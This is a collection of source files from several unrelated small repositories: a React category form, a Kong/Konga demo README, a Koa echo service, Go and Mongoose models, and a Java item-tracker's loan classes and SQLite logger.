id='category_old' value={this.state.category_old} onChange={this.handleChange} > <option key={'none'} value={null}>None</option> {this.props.categories.map((cat, index) => { return (<option key={index} value={cat.category}>{cat.category}</option>); })} </select> </div> <div> <label htmlFor="New_name">New name: </label> <input type="text" name='New_name' id='category_new' value={this.state.category_new} onChange={this.handleChange} /> </div> <p> <button onClick={e => this.props.deleteCategory(e, this.state)}>Delete Category</button> <button onClick={e => this.props.modifyCategory(e, this.state)}>Modify Category</button> </p> <label htmlFor="category">Add Category: </label> <input type="text" name="category" id="category" value={this.state.category} onChange={this.handleChange} /> <label htmlFor="photo">Upload category photo</label> <input type="file" name="photo" id="image" accept="image/png, image/jpeg" onChange={this.handleImageChange} /> <input type="submit" value="New Category" /> </form> ); } } const mapStateToProps = state => { return { wardrobes: state.wardrobes, categories: state.categories.categories, } } const mapDispatchToProps = dispatch => { return { addCategory: (data) => { return dispatch(categoryActions.addCategory(data)); }, fetchWardrobeCategories: (wardrobe) => { return dispatch(categoryActions.fetchWardrobeCategories(wardrobe)); }, fetchAllCategories: () => { return dispatch(categoryActions.fetchAllCategories()); }, deleteCategory: (e, data) => { return dispatch(categoryActions.deleteCategory(e, data)); }, modifyCategory: (e, data) => { return dispatch(categoryActions.modifyCategory(e, data)); } } } export default connect(mapStateToProps, mapDispatchToProps)(CategoryForm);
5a21137ad3841a03a2d5adec77e40285404ad3ec
[ "JavaScript", "Python", "Text", "Markdown" ]
32
JavaScript
Malassu/WWW-Services-2019
29d386d607b4564a91165cb08af9bcc5b5481b12
26c29da68322490083118bce8faccaac7cf2e46e
refs/heads/master
<file_sep># Kong Demo A simple, neatly contained Kong+Konga+Postgres composition to get your hands dirty #### Images included: - [Kong](https://hub.docker.com/_/kong/) - API gateway - [Konga](https://hub.docker.com/r/pantsel/konga/) - GUI for Kong - [Postgres](https://hub.docker.com/_/postgres/) - Persistent storage for both Kong and Konga # Usage The following usage instructions assume you made no changes to any file in `./config` ### First run Perform kong+konga postgres migrations: `docker-compose -f docker-compose.init.yml up --abort-on-container-exit` Kill the composition after kong and konga complete their migrations ### Exec `docker-compose up` - Visit: http://localhost:12000 - Auth: - Username: `admin` - Password: `<PASSWORD>` - Connection Setup - Name: `test_connection` - Kong Admin URL: `http://kong:8001` - Go nuts! # Configuration Configs are loaded from the respective `*.env` file for each service. See the Dockerhub pages and Github repos for additional config options. # Persistent data Persistent data is mounted to `.data/**/*` when docker-compose is run. deleting the `.data` folder will start from scratch. # Dev notes - The Kong version is limited by what is currently supported by Konga <file_sep>`use strict` const Koa = require('koa') const App = new Koa() const Port = process.env.SERVICE_PORT || 8080 App.use(async (ctx, next) => { ctx.header.accept = 'application/json' console.log(`--> ${ctx.request.path}`) await next() console.log(`<-- ${ctx.request.path} ${ctx.status || 200 }`) }) App.use(async (ctx, next) => { ctx.response.body = { path: ctx.request.path || null, query: ctx.request.query || null, body: ctx.request.body || null, } }) console.log(`service [echo] running on port [${Port}]`) App.listen(Port)<file_sep>FROM node:9.4 COPY package.json package.json COPY package-lock.json package-lock.json RUN npm install COPY . . CMD [ "sh", "-c", "node ./${RUN_SERVICE}" ]
4fc4b515f89b7c47d1f1c1437c76199ed786e4e8
[ "Markdown", "JavaScript", "Dockerfile" ]
3
Markdown
dorucioclea/kong-demo
da5f29e7ae86902d747e013cac1f0bd8bee2b953
e25b2cfcf8708530d9a02a00e8cfdbbc9c2dfc18
refs/heads/master
<repo_name>and-digital/dekker-arc<file_sep>/services/casestudy.service.js var ToDo = require('../models/casestudy.model') _this = this exports.getCaseStudies = async function(query, page, limit){ var options = { page, limit } try { var casestudies = await CaseStudy.paginate(query, options) return casestudies; } catch (e) { throw Error('Error while Paginating Todos') } } <file_sep>/models/casestudy.model.js var mongoose = require('mongoose') var mongoosePaginate = require('mongoose-paginate') var caseStudySchema = new mongoose.Schema({ title: String, description: String, date: Date, status: String }) caseStudySchema.plugin(mongoosePaginate) const casestudy = mongoose.model('casestudy', caseStudySchema) module.exports = casestudy;
dda283cd5ae39ca0da15ccf98e6d4e6e272b85cc
[ "JavaScript" ]
2
JavaScript
and-digital/dekker-arc
579e108b3f0a7e2dc890013c0e2e0b6ee0d4caf6
a7adaf5658793d3fec8fe2598c5bf7162af579fb
refs/heads/master
<repo_name>eilin/bleinky<file_sep>/README.md # BLEinky An arduino blinky program that's controllable with BLE. ## Hardware - Adafruit Feather nRF52 Bluefruit LE - Adafruit NeoPixel Ring - 12 x 5050 RGB LED ## Usage Connect and send commands using the Adafruit Bluefruit LE app. Put the BLEinky outside your office and use the light color to signal your availability. ### Commands - Busy: `busy` | `b` | `red` - Send a 'busy' command to turn the lights red. - Free: `free` | `f` | `green`- Send a 'free' command to turn the lights green. - Wave: `wave` | `meow` | `cycle` - Send a 'wave' command to cycle a rainbow of colors to attract attention. ## Notes This was just a weekend project and is full of bad code that was fun to hack together. <file_sep>/neopixel_ble.ino #include <bluefruit.h> #include <Adafruit_LittleFS.h> #include <InternalFileSystem.h> #include <Adafruit_NeoPixel.h> #ifdef __AVR__ #include <avr/power.h> #endif // BLE Service BLEDfu bledfu; // OTA DFU service BLEDis bledis; // device information BLEUart bleuart; // uart over ble BLEBas blebas; // battery #define DEVICE_NAME "BLEinky" // brightness 5 is the minimum to have more options than just RGB #define DEFAULT_BRIGHTNESS 5 #define MAX_CMD_LIST_LEN 5 #define PIN 11 Adafruit_NeoPixel strip = Adafruit_NeoPixel(12, PIN, NEO_GRB + NEO_KHZ800); #define COLOR_WAITING 0 #define COLOR_BUSY 1 #define COLOR_FREE 2 #define COLOR_UNKNOWN 3 struct AppState { int color; } appState; struct CmdList { int n; char* list[MAX_CMD_LIST_LEN]; }; struct CmdConfig { CmdList busy; CmdList avail; CmdList wave; } cmdConfig; void setup() { Serial.begin(115200); #if CFG_DEBUG // Blocking wait for connection when debug mode is enabled via IDE while ( !Serial ) yield(); #endif Serial.println(DEVICE_NAME); Serial.println("---------------------------\n"); initCmdConfig(); strip.begin(); strip.setBrightness(DEFAULT_BRIGHTNESS); strip.show(); // Initialize with pixels off' // Setup the BLE LED to be enabled on CONNECT // Note: This is actually the default behavior, but provided // here in case you want to control this LED manually via PIN 19 Bluefruit.autoConnLed(true); // Config the peripheral connection with maximum bandwidth // more SRAM required by SoftDevice // Note: All config***() function must be called before begin() Bluefruit.configPrphBandwidth(BANDWIDTH_MAX); Bluefruit.begin(); Bluefruit.setTxPower(4); // Check bluefruit.h for supported values Bluefruit.setName(DEVICE_NAME); //Bluefruit.setName(getMcuUniqueID()); // useful testing with multiple central connections Bluefruit.Periph.setConnectCallback(connect_callback); Bluefruit.Periph.setDisconnectCallback(disconnect_callback); // To be consistent OTA DFU should be added first if it exists bledfu.begin(); // Configure and Start Device Information Service bledis.setManufacturer("Adafruit Industries"); bledis.setModel("Bluefruit Feather52"); bledis.begin(); // Configure and Start BLE Uart Service bleuart.begin(); // Start BLE Battery Service blebas.begin(); blebas.write(100); // Set up and start advertising startAdv(); Serial.println("Please use Adafruit's Bluefruit LE app to connect in UART mode"); Serial.println("Once connected, enter character(s) that you wish to send"); } void startAdv(void) { // Advertising packet Bluefruit.Advertising.addFlags(BLE_GAP_ADV_FLAGS_LE_ONLY_GENERAL_DISC_MODE); Bluefruit.Advertising.addTxPower(); // Include bleuart 128-bit uuid Bluefruit.Advertising.addService(bleuart); // Secondary Scan Response packet (optional) // Since there is no room for 'Name' in Advertising packet Bluefruit.ScanResponse.addName(); /* Start Advertising - Enable auto advertising if disconnected - Interval: fast mode = 20 ms, slow mode = 152.5 ms - Timeout for fast mode is 30 seconds - Start(timeout) with timeout = 0 will advertise forever (until connected) For recommended advertising interval https://developer.apple.com/library/content/qa/qa1931/_index.html */ Bluefruit.Advertising.restartOnDisconnect(true); Bluefruit.Advertising.setInterval(32, 244); // in unit of 0.625 ms Bluefruit.Advertising.setFastTimeout(30); // number of seconds in fast mode Bluefruit.Advertising.start(0); // 0 = Don't stop advertising after n seconds } void loop() { // Forward data from HW Serial to BLEUART while (Serial.available()) { // Delay to wait for enough input, since we have a limited transmission buffer delay(2); uint8_t buf[64]; int count = Serial.readBytes(buf, sizeof(buf)); bleuart.write( buf, count ); } char cmd[32]; int cmd_idx = 0; // Forward from BLEUART to HW Serial while ( bleuart.available() ) { uint8_t ch; ch = (uint8_t) bleuart.read(); if (cmd_idx > 31) { Serial.println("WARN message too long"); } else { cmd[cmd_idx] = ch; cmd_idx++; } } int end = cmd_idx > 31 ? 31 : cmd_idx; cmd[end] = '\0'; handleCmd(cmd); } // callback invoked when central connects void connect_callback(uint16_t conn_handle) { // Get the reference to current connection BLEConnection* connection = Bluefruit.Connection(conn_handle); char central_name[32] = { 0 }; connection->getPeerName(central_name, sizeof(central_name)); Serial.print("Connected to "); Serial.println(central_name); strip.setBrightness(DEFAULT_BRIGHTNESS); strip.show(); setColor(COLOR_WAITING); } /** Callback invoked when a connection is dropped @param conn_handle connection where this event happens @param reason is a BLE_HCI_STATUS_CODE which can be found in ble_hci.h */ void disconnect_callback(uint16_t conn_handle, uint8_t reason) { (void) conn_handle; (void) reason; Serial.println(); Serial.print("Disconnected, reason: "); Serial.println(reason, HEX); strip.setBrightness(0); strip.show(); } // Fill the dots one after the other with a color void colorWipe(uint32_t c, uint8_t wait) { for (uint16_t i = 0; i < strip.numPixels(); i++) { strip.setPixelColor(i, c); strip.show(); delay(wait); } } // Input a value 0 to 255 to get a color value. // The colours are a transition r - g - b - back to r. uint32_t Wheel(byte WheelPos) { WheelPos = 255 - WheelPos; if (WheelPos < 85) { return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3); } if (WheelPos < 170) { WheelPos -= 85; return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3); } WheelPos -= 170; return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0); } void rainbowCycle(uint8_t wait) { uint16_t i, j; for (j = 0; j < 256 * 5; j++) { // 5 cycles of all colors on wheel for (i = 0; i < strip.numPixels(); i++) { strip.setPixelColor(i, Wheel(((i * 256 / strip.numPixels()) + j) & 255)); } strip.show(); delay(wait); } } void handleCmd(char cmd[]) { if (cmd[0] == '\0') return; if (cmd_in(cmd, cmdConfig.busy)) { setColor(COLOR_BUSY); ack(cmd); } else if (cmd_in(cmd, cmdConfig.avail)) { setColor(COLOR_FREE); ack(cmd); } else if (cmd_in(cmd, cmdConfig.wave)) { ack("...\n"); rainbowCycle(5); setColor(appState.color); ack(cmd); } else if (strstr(cmd, "light ") != NULL) { if (!adjustBrightness(cmd)) { ackUnknown(cmd); return; } ack(cmd); } else { ackUnknown(cmd); } } bool cmd_in(char cmd[], CmdList list) { for (int i = 0; i < list.n; i++) { if (strcmp(cmd, list.list[i]) == 0) return true; } return false; } void setColor(int colorEnum) { switch (colorEnum) { case COLOR_WAITING: colorWipe(strip.Color(38, 142, 212), 50); appState.color = COLOR_WAITING; break; case COLOR_BUSY: colorWipe(strip.Color(255, 0, 0), 50); appState.color = COLOR_BUSY; break; case COLOR_FREE: colorWipe(strip.Color(0, 255, 0), 50); appState.color = COLOR_FREE; break; default: colorWipe(strip.Color(255, 180, 41), 50); appState.color = COLOR_UNKNOWN; } } bool adjustBrightness(char* msg) { char charNum[4]; int charNumEnd = 0; for (int i = 0; msg[i] != '\0'; i++) { if (isdigit(msg[i])) { charNum[charNumEnd] = msg[i]; charNumEnd++; } } charNum[charNumEnd] = '\0'; int val = atoi(charNum); // Serial.println(val); if (val < 1 || val > 100) { return false; } strip.setBrightness(val); strip.show(); return true; } void initCmdConfig() { cmdConfig.busy.list[0] = "red\n"; cmdConfig.busy.list[1] = "busy\n"; cmdConfig.busy.list[2] = "b\n"; cmdConfig.busy.n = 3; cmdConfig.avail.list[0] = "green\n"; cmdConfig.avail.list[1] = "free\n"; cmdConfig.avail.list[2] = "f\n"; cmdConfig.avail.n = 3; cmdConfig.wave.list[0] = "wave\n"; cmdConfig.wave.list[1] = "cycle\n"; cmdConfig.wave.list[2] = "meow\n"; cmdConfig.wave.n = 3; } void ack(const char* msg) { char buf[32] = "ack: \0"; if (strlen(buf) + strlen(msg) < 31) { strcat(buf, msg); } bleuart.write(buf, strlen(buf)); } void ackUnknown(const char* msg) { char buf[32] = "? '\0"; if (strlen(msg) + 4 > 32) { bleuart.write(buf, strlen(buf)); return; } strncat(buf, msg, strlen(msg)-1); strcat(buf, "'"); strcat(buf, "\n"); bleuart.write(buf, strlen(buf)); }
1b1ac51e4de2926e301ae5b3de17055894df153e
[ "Markdown", "C++" ]
2
Markdown
eilin/bleinky
1a13986c0deb371c26c99b36b22cd8b49852776e
5d9a2df7521dbb4f26816c78b122e21a5f2b06fb
refs/heads/master
<file_sep>from models import * from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker engine = create_engine('sqlite:///practice.db') Sesion = sessionmaker(bind = engine) session = Sesion() q = session.query(People).filter_by(id = 1) q = q.filter_by(first_name = "name") print(q)<file_sep>from models import * from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker import random from mimesis import Person from mimesis import Address from mimesis import Datetime from mimesis.enums import Gender dateTime = Datetime('ru') address = Address('ru') person = Person('ru') count_org = 1 count_bran = 3 count_dep = 10 count_peop = 150 positions = ['position0', 'position1','position2','position3','position4', 'position5'] gender = [Gender.MALE, Gender.FEMALE] def gen_number(): result = str(random.randrange(100,999)) + '-' + str(random.randrange(10,99)) + '-' + str(random.randrange(10,99)) return result engine = create_engine('sqlite:///practice.db') Sesion = sessionmaker(bind = engine) session = Sesion() for i in range(count_org): org = Organization(id = i, name = 'Организация' + str(i)) session.add(org) session.commit() for i in range(count_bran): brabn = Branch(id = i, organization_id = random.randrange(count_org), name = 'Фелиал' + str(i)) session.add(brabn) session.commit() for i in range(count_dep): dep = Department(id = i, branch_id = random.randrange(count_bran), name = 'Отдел' + str(i)) session.add(dep) session.commit() for i in range(count_peop): gender0 = gender[random.randrange(len(gender))] peop = People( id = i, first_name = person.first_name(gender = gender0), last_name = person.last_name(gender = gender0), department_id = random.randrange(count_dep), position = positions[random.randrange(len(positions))], number = gen_number(), bday = dateTime.date(start = 1970, end = 2002), address = address.address(), gender = gender0.name ) session.add(peop) session.commit() session.close()<file_sep>from sqlalchemy import create_engine, Column, Integer, String, ForeignKey, Date from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import sessionmaker, relationship Base = declarative_base() engine = create_engine('sqlite:///practice.db') class Organization(Base): __tablename__ = 'organizations' id = Column(Integer,primary_key = True) name = Column(String(40)) class Branch(Base): __tablename__ = 'branches' id = Column(Integer,primary_key = True) organization_id = Column(Integer, ForeignKey('organizations.id')) name = Column(String(40)) organization = relationship("Organization", uselist = False) Organization.branches = relationship("Branch", back_populates = "organization") class Department(Base): __tablename__ = 'departments' id = Column(Integer,primary_key = True) branch_id = Column(Integer, ForeignKey('branches.id')) name = Column(String(40)) branch = relationship("Branch", uselist = False) Branch.departments = relationship("Department", back_populates = "branch") class People(Base): __tablename__ = 'peoples' id = Column(Integer, primary_key = True, autoincrement = True) department_id = Column(Integer, ForeignKey('departments.id')) first_name = Column(String(20)) last_name = Column(String(30)) position = Column(String(20)) number = Column(String(15)) bday = Column(String(15)) address = Column(String(100)) gender = Column(String(20)) department = relationship("Department", uselist = False) Department.peoples = relationship("People", back_populates = "department") Base.metadata.create_all(bind = engine)<file_sep>import json import falcon from models import * from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from sqlalchemy.sql.expression import func from sqlalchemy import and_ engine = create_engine('sqlite:///practice.db') Session = sessionmaker(bind = engine) session = Session() class json_reader(): @staticmethod def read(req): try: json_req = req.stream.read() data_req = json.loads(json_req) except json.decoder.JSONDecodeError: return None return data_req class get_data(): def on_get(self, req, resp): resp.status = falcon.HTTP_200 output = {} data = json_reader.read(req) if data is not None: if('data type' not in data): resp.status = falcon.HTTP_404 output = { 'error' : 'plz enter data type'} else: if(data['data type'] == 'all'): output = self.generate_full_data() elif(data['data type'] == 'filter people'): if('filter type' not in data): output = { 'error' : 'no filter type'} elif(len(data['filter type']) == 0): output = { 'error' : 'empty filter type'} else: output = self.filter_people(data['filter type']) else: resp.status = falcon.HTTP_404 output = { 'error' : 'no such data type'} else: resp.status = falcon.HTTP_501 output = { 'error' : 'no json data'} resp.body = json.dumps(output) def generate_full_data(self): output = {} all_data_list = [] one_peron_data = {} query = session.query(Organization, Branch, Department, People).\ filter(Organization.id == Branch.organization_id, Branch.id == Department.branch_id, Department.id == People.department_id).order_by(Branch.id) for org, bran, dep, peop in query: one_peron_data = { 'organization' : org.name, 'branch' : bran.name, 'dep' : dep.name, 'id' : peop.id, 'first_name' : peop.first_name, 'last_name' : peop.last_name, 'position' : peop.position, 'number' : peop.number, 'bday' : str(peop.bday), 'address' : peop.address, 'gender' : peop.gender } all_data_list.append(one_peron_data) session.close() return {'server answer' : all_data_list} def filter_people(self, filter_type): all_data_list = [] one_peron_data = {} filters = [] if('organization_id' in filter_type): filters.append(Organization.id.ilike('%' + str(filter_type['organization_id']) + '%')) if('organization' in filter_type): filters.append(Organization.name.ilike('%' + str(filter_type['organization']) + '%')) if('branch_id' in filter_type): filters.append(Branch.id.ilike('%' + str(filter_type['branch_id']) + '%')) if('branch' in filter_type): filters.append(Branch.name.ilike('%' + str(filter_type['branch']) + '%')) if('dep_id' in filter_type): filters.append(Department.id.ilike('%' + str(filter_type['dep_id']) + '%')) if('dep' in filter_type): filters.append(Department.name.ilike('%' + str(filter_type['dep']) + '%')) if('id' in filter_type): filters.append(People.id.ilike('%' + str(filter_type['id']) + '%')) if('first_name' in filter_type): filters.append(People.first_name.ilike('%' + str(filter_type['first_name']) + '%')) if('last_name' in filter_type): filters.append(People.last_name.ilike('%' + str(filter_type['last_name']) + '%')) if('position' in filter_type): filters.append(People.position.ilike('%' + str(filter_type['position']) + '%')) if('number' in filter_type): filters.append(People.number.ilike('%' + str(filter_type['number']) + '%')) if('bday' in filter_type): filters.append(People.bday.ilike('%' + str(filter_type['bday']) + '%')) if('address' in filter_type): filters.append(People.address.ilike('%' + str(filter_type['address']) + '%')) if('gender' in filter_type): filters.append(People.gender.like(filter_type['gender'])) query = session.query(Organization, Branch, Department, People).\ filter(Organization.id == Branch.organization_id, Branch.id == Department.branch_id, Department.id == People.department_id).filter(and_(*filters)) try: for org, bran, dep, peop in query: one_peron_data = { 'organization_id' : org.id, 'organization' : org.name, 'branch_id' : bran.id, 'branch' : bran.name, 'dep_id' : dep.id, 'dep' : dep.name, 'id' : peop.id, 'first_name' : peop.first_name, 'last_name' : peop.last_name, 'position' : peop.position, 'number' : peop.number, 'bday' : str(peop.bday), 'address' : peop.address, 'gender' : peop.gender } all_data_list.append(one_peron_data) session.close() return {'server answer' : all_data_list} except TypeError: return {'error' : "type error"} class edit_data(): def on_post(self, req, resp): resp.status = falcon.HTTP_200 output = {} data = json_reader.read(req) if data is not None: if('add people' not in data and 'edit people' not in data): resp.status = falcon.HTTP_404 output = { 'error' : 'plz enter method'} else: if('add people' in data): people_data = data['add people'] output = self.add_people(people_data) if('edit people' in data): people_data = data['edit people'] output = self.edit_people(people_data) else: resp.status = falcon.HTTP_501 output = { 'error' : 'no json data'} resp.body = json.dumps(output) def on_delete(self, req, resp): resp.status = falcon.HTTP_200 output = {} data = json_reader.read(req) if data is not None: if('delete people' not in data): resp.status = falcon.HTTP_404 output = { 'error' : 'plz enter method'} else: if('delete people' in data): people_data = data['delete people'] output = self.delete_people(people_data) else: resp.status = falcon.HTTP_501 output = { 'error' : 'no json data'} resp.body = json.dumps(output) def add_people(self, people_data): error_list = self.check_people_data(people_data) if(len(error_list) != 0): return {"error at adding" : error_list} try: for id in session.query(func.max(People.id)): max_id = id peop = People( id = max_id[0]+1, department_id = people_data['department_id'], first_name = people_data['first_name'], last_name = people_data['last_name'], position = people_data['position'], number = people_data['number'], bday = people_data['bday'], address = people_data['address'], gender = people_data['gender'] ) session.add(peop) session.commit() session.close() except TypeError: return {"error" : "type error"} return {"server answer" : "people added"} def edit_people(self, people_data): error_list = [] if('id' not in people_data): error_list.append("no id") if(len(error_list) != 0): return {"error at editing" : error_list} try: peop = session.query(People).get(people_data['id']) if('first_name' in people_data): peop.first_name = people_data["first_name"] if('department_id' in people_data): peop.department_id = people_data['department_id'] if('first_name' in people_data): peop.first_name = people_data['first_name'] if('last_name' in people_data): peop.last_name = people_data['last_name'] if('position' in people_data): peop.position = people_data['position'] if('number' in people_data): peop.number = people_data['number'] if('bday' in people_data): peop.bday = people_data['bday'] if('address' in people_data): peop.address = people_data['address'] if('gender' in people_data): peop.gender = people_data['gender'] session.commit() session.close() except TypeError: return {"error" : "type error"} return {"server answer" : "people edited"} def delete_people(self, people_data): error_list = [] if('id' not in people_data): error_list.append("no id") if(len(error_list) != 0): return {"error at adding" : error_list} try: session.query(People).filter(People.id == people_data['id']).delete() session.commit() session.close() except TypeError: return {"error" : "type error"} return {"server answer" : "people deleted"} def check_people_data(self, people_data): error_list = [] if('first_name' not in people_data): error_list.append("no first_name") if('last_name' not in people_data): error_list.append("no last_name") if('position' not in people_data): error_list.append("no position") if('number' not in people_data): error_list.append("no number") if('bday' not in people_data): error_list.append("no bday") if('address' not in people_data): error_list.append("no address") if('gender' not in people_data): error_list.append("no gender") if('department_id' not in people_data): error_list.append("no department_id") return error_list app = falcon.API() app.add_route('/api/get_data', get_data()) app.add_route('/api/edit_data', edit_data())<file_sep>import requests url = "http://localhost:8000/api/get_data" payload = "{\n\t\"data type\" : \"all\"\n}" headers = {'content-type': 'application/json'} response = requests.request("GET", url, data=payload, headers=headers) print(response.text)
e4cbcf56750cc6d6f7484e5a0eb5fa7533166a9b
[ "Python" ]
5
Python
pogibel/Rest-API
1737473c0cfb6c259ef71d70bb3b53ddbae818f5
c06464656ed609506371abc4ebfa402e543d3473
refs/heads/main
<repo_name>zaidsh98/class-201<file_sep>/js/app.js let consType = prompt ('What type of consol you play on ?') console.log(consType) let kind = prompt ('what is your favorite kind of Games ?') console.log(kind) let favGame = prompt ('what is your favorite Game ?') console.log(favGame) let favChar = prompt ('Who is your favorite Gaming character ?') console.log(favChar) alert (`you play on ${consType} and you like playing this kind of games ${kind} your favorite game is ${favGame} and ${favChar} is your favorite character`)
cb397fc20423deac1043211e393498ab7c47011d
[ "JavaScript" ]
1
JavaScript
zaidsh98/class-201
ebdb6676d00c7d19360df44650a1c8362fd0ed9e
d29bd13492f1a8c8f321fc0504fcb6c9d87b0c64
refs/heads/main
<file_sep>package controllers import ( "ambassador/src/database" "ambassador/src/models" "github.com/gofiber/fiber/v2" "golang.org/x/crypto/bcrypt" ) func Register(c *fiber.Ctx) error { var data map[string]string if err := c.BodyParser(&data); err != nil { return err } if data["password"] != data["password_confirm"] { c.Status(400) return c.JSON(fiber.Map{ "message": "Passwords do not match.", }) } password, _ := bcrypt.GenerateFromPassword([]byte(data["password"]), 12) user := models.User{ FirstName: data["first_name"], LastName: data["last_name"], Email: data["email"], Password: <PASSWORD>, IsAmbassador: false, } database.DB.Create(&user) return c.JSON(user) } <file_sep>package routes import ( "ambassador/src/controllers" "github.com/gofiber/fiber/v2" ) func Setup(app *fiber.App) { api := app.Group("api") user := api.Group("user") user.Post("register", controllers.Register) } <file_sep>FROM golang:1.16 WORKDIR /app COPY go.mod . COPY go.sum . RUN go mod download COPY . . RUN curl -fLo install.sh https://raw.githubusercontent.com/cosmtrek/air/master/install.sh \ && chmod +x install.sh && sh install.sh && cp ./bin/air /bin/air CMD ["air"] <file_sep>package database import ( "ambassador/src/models" "gorm.io/driver/mysql" "gorm.io/gorm" ) var DB *gorm.DB func Connect() { var err error dsn := "root:root@tcp(db:3306)/ambassador?charset=utf8mb4&parseTime=True&loc=Local" DB, err = gorm.Open(mysql.Open(dsn), &gorm.Config{}) if err != nil { panic("Could not connect with the database!") } } func AutoMigrate() { DB.AutoMigrate(models.User{}) }
b8b3b437aa7735658daf1f758340337879a71d15
[ "Go", "Dockerfile" ]
4
Go
nexusstar/GoAngular
002102b98d6a9e101a9c71d22b7c6de83f9eeeeb
60746daf96d9f9554be9a5400ad4442a70f7e85b
refs/heads/master
<repo_name>rockking1379/ItemTracker<file_sep>/src/org/itemtracker/common/objects/Loan.java package org.itemtracker.common.objects; import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; /** * Represents a loan * Created by james on 5/29/15. */ public class Loan { private int loanId; private Loanable loanedItem; private Loanee loanee; private long checkOut; private long checkIn; private String returnNotes; public Loan(int loanId, Loanable loanedItem, Loanee loanee, long checkOut, long checkIn, String returnNotes) { this.loanId = loanId; this.loanedItem = loanedItem; this.loanee = loanee; this.checkOut = checkOut; this.checkIn = checkIn; this.returnNotes = returnNotes; } public int getLoanId() { return loanId; } public Loanable getLoanedItem() { return loanedItem; } public Loanee getLoanee() { return loanee; } public String getLoanDuration() { if (Long.valueOf(checkIn) != null) { Date duration = new Date(checkIn - checkOut); DateFormat format = new SimpleDateFormat("DD:HH:mm"); String output = format.format(duration); String[] breakDown = output.split(":"); return format.format(duration); } else { return "not checked in"; } } public String getCheckOut() { Date d = new Date(checkOut); DateFormat format = new SimpleDateFormat("yyyy-MM-dd"); return format.format(d); } public String getCheckIn() { Date d = new Date(checkIn); DateFormat format = new SimpleDateFormat("yyyy-MM-dd"); return format.format(d); } public String getReturnNotes() { return returnNotes; } } <file_sep>/src/org/itemtracker/common/objects/Loanee.java package org.itemtracker.common.objects; /** * Represents a student who may loan out a loanable item * Created by james on 5/29/15. */ public class Loanee { private int loaneeId; private String firstName; private String lastName; private String barcodeId; private String emailAddress; public Loanee(int loaneeId, String firstName, String lastName, String barcodeId, String emailAddress) { this.loaneeId = loaneeId; this.firstName = firstName; this.lastName = lastName; this.barcodeId = barcodeId; this.emailAddress = emailAddress; } public int getLoaneeId() { return loaneeId; } public String getFirstName() { return firstName; } public String getLastName() { return lastName; } public String getBarcodeId() { return barcodeId; } public String getEmailAddress() { return emailAddress; } @Override public String toString() { return firstName + " " + lastName; } } <file_sep>/src/org/itemtracker/common/utils/Logger.java package org.itemtracker.common.utils; import java.io.*; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.sql.Statement; import java.text.SimpleDateFormat; import java.util.Date; /** * Custom Logger Class for logging Errors and Exceptions <br> * Will put them into a database located in logs * * @author James <EMAIL> */ public class Logger { /** * Create Statement for Error File <br> * Could make a single database file but this seems better to have one per * day */ private final static String createError = "CREATE TABLE IF NOT EXISTS Error(error_id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,error_time DATE NOT NULL, error_message VARCHAR(100) NOT NULL,error_stacktrace TEXT NOT NULL)"; private final static String createEvent = "CREATE TABLE IF NOT EXISTS Event(event_id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, event_time DATE NOT NULL, event_message VARCHAR(100) NOT NULL, event_user_name VARCHAR(100) NOT NULL)"; /** * Logs data from Exception * * @param ex Exception caught * @return status of logging success */ public static boolean logException(Exception ex) { boolean retVal; if (logExists()) { Date d = new Date(); String sDate = new SimpleDateFormat("yyyy-MM-dd").format(d); String fileName = "./Logs/" + sDate + ".db"; try { Connection con = DriverManager.getConnection("jdbc:sqlite:" + fileName); java.sql.PreparedStatement stmnt = con .prepareStatement("INSERT INTO Error(error_time, error_message, error_stacktrace) VALUES(?,?,?)"); stmnt.setString(1, String.valueOf(d.getTime())); stmnt.setString(2, ex.getMessage()); Writer stackTrace = new StringWriter(); PrintWriter pWriter = new PrintWriter(stackTrace); ex.printStackTrace(pWriter); stmnt.setString(3, stackTrace.toString()); retVal = stmnt.execute(); pWriter.close(); stackTrace.close(); stmnt.close(); con.close(); } catch (SQLException e) { System.err.println("Logging Error"); e.printStackTrace(); retVal = false; } catch (IOException e) { System.err.println("Logging Error"); e.printStackTrace(); retVal = false; } } else { if (createLog()) { return logException(ex); } else { retVal = false; } } return retVal; } /** * Logs System Event * Used for general purpose logging * * @param eventMessage Message of Event * @param userName User Name of User logging event. Can and often will be 'SYSTEM' * @return status of logging success */ public static boolean logEvent(String eventMessage, String userName) { boolean retVal; if (logExists()) { Date d = new Date(); String sDate = new SimpleDateFormat("yyyy-MM-dd").format(d); String fileName = "./Logs/" + sDate + ".db"; try { Connection con = DriverManager.getConnection("jdbc:sqlite:" + fileName); java.sql.PreparedStatement stmnt = con .prepareStatement("INSERT INTO Event(event_time, event_message, event_user_name) VALUES(?,?,?)"); stmnt.setString(1, String.valueOf(d.getTime())); stmnt.setString(2, eventMessage); stmnt.setString(3, userName); retVal = stmnt.execute(); stmnt.close(); con.close(); } catch (SQLException e) { System.err.println("Logging Error"); e.printStackTrace(); retVal = false; } } else { if (createLog()) { return logEvent(eventMessage, userName); } else { retVal = false; } } return retVal; } private static boolean logExists() { File dir = new File("./Logs"); Date d = new Date(); String sDate = new SimpleDateFormat("yyyy-MM-dd").format(d); String fileName = "./Logs/" + sDate + ".db"; File f = new File(fileName); return (dir.exists() && f.exists()); } private static boolean createLog() { File dir = new File("./Logs"); boolean retVal = true; if (!dir.exists()) { retVal = dir.mkdir(); } Date d = new Date(); String sDate = new SimpleDateFormat("yyyy-MM-dd").format(d); String fileName = "./Logs/" + sDate + ".db"; File f = new File(fileName); try { Class.forName("org.sqlite.JDBC"); } catch (ClassNotFoundException e) { System.err.println("Logging Error"); e.printStackTrace(); retVal = false; } if (!f.exists()) { try { retVal = f.createNewFile(); Connection con = DriverManager.getConnection("jdbc:sqlite:" + fileName); Statement stmnt = con.createStatement(); stmnt.execute(createError); stmnt.execute(createEvent); stmnt.close(); con.close(); } catch (IOException e) { System.err.println("Logging Error"); e.printStackTrace(); retVal = false; } catch (SQLException e) { System.err.println("Logging Error"); e.printStackTrace(); retVal = false; } } return retVal; } } <file_sep>/src/org/itemtracker/testgui/MainPageController.java package org.itemtracker.testgui; 